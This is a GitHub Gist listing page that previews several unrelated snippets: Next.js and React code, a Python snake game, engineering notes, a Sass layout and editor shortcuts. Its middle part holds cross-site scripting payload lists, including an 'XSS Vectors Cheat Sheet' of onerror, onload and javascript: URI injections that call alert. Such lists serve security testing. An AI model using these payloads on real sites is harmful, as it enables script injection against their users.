Skip to content

Instantly share code, notes, and snippets.

@adrianhajdin
adrianhajdin / cron.route.ts
Created September 30, 2023 10:15
Web Scraping Full Course 2023 | Build and Deploy eCommerce Price Tracker
import { NextResponse } from "next/server";
import { getLowestPrice, getHighestPrice, getAveragePrice, getEmailNotifType } from "@/lib/utils";
import { connectToDB } from "@/lib/mongoose";
import Product from "@/lib/models/product.model";
import { scrapeAmazonProduct } from "@/lib/scraper";
import { generateEmailBody, sendEmail } from "@/lib/nodemailer";
export const maxDuration = 300; // This function can run for a maximum of 300 seconds
export const dynamic = "force-dynamic";
@adrianhajdin
adrianhajdin / HeaderStyles.js
Created August 5, 2021 06:59
Build and Deploy a Google Maps Travel Companion Application | React.js
import { alpha, makeStyles } from '@material-ui/core/styles';
export default makeStyles((theme) => ({
title: {
display: 'none',
[theme.breakpoints.up('sm')]: {
display: 'block',
},
},
search: {
@wynand1004
wynand1004 / snake_game.py
Created September 2, 2018 08:56
A Simple Snake Game made in Python 3
# Simple Snake Game in Python 3 for Beginners
# By @TokyoEdTech
import turtle
import time
import random
delay = 0.1
# Score
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
@kurobeats
kurobeats / xss_vectors.txt
Last active February 18, 2026 13:07
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
depending on your specific scenario you might want to try to inject one of those:
<img onerror="window.alert('hey')" src="bla"/>
<svg><script>alert&#40/hey/.source&#41</script></svg>
<img onerror="window.onerror=alert;throw 'hey'" src="bla"/>
<script>window.onerror=alert;throw "hey";</script>
inspiration:

FWIW: I (@rondy) am not the creator of the content shared here, which is an excerpt from Edmond Lau's book. I simply copied and pasted it from another location and saved it as a personal note, before it gained popularity on news.ycombinator.com. Unfortunately, I cannot recall the exact origin of the original source, nor was I able to find the author's name, so I am can't provide the appropriate credits.


Effective Engineer - Notes

What's an Effective Engineer?

@rveitch
rveitch / sass-7-1-pattern.scss
Last active February 13, 2026 18:01
Sass 7-1 Pattern
sass/
|
|– base/
| |– _reset.scss # Reset/normalize
| |– _typography.scss # Typography rules
| ... # Etc…
|
|– components/
| |– _buttons.scss # Buttons
| |– _carousel.scss # Carousel
@mrliptontea
mrliptontea / sublime-text-3-windows-shortcuts.md
Last active February 26, 2026 02:37 — forked from TheShrike/gist:6111200
Sublime Text 3 - Useful Shortcuts (Windows)

Sublime Text 3 - Useful Shortcuts (Windows)

General

Shortcut Description
Ctrl+Shift+P command prompt
Ctrl+Alt+P switch project
Ctrl+P go to file
Ctrl+G go to line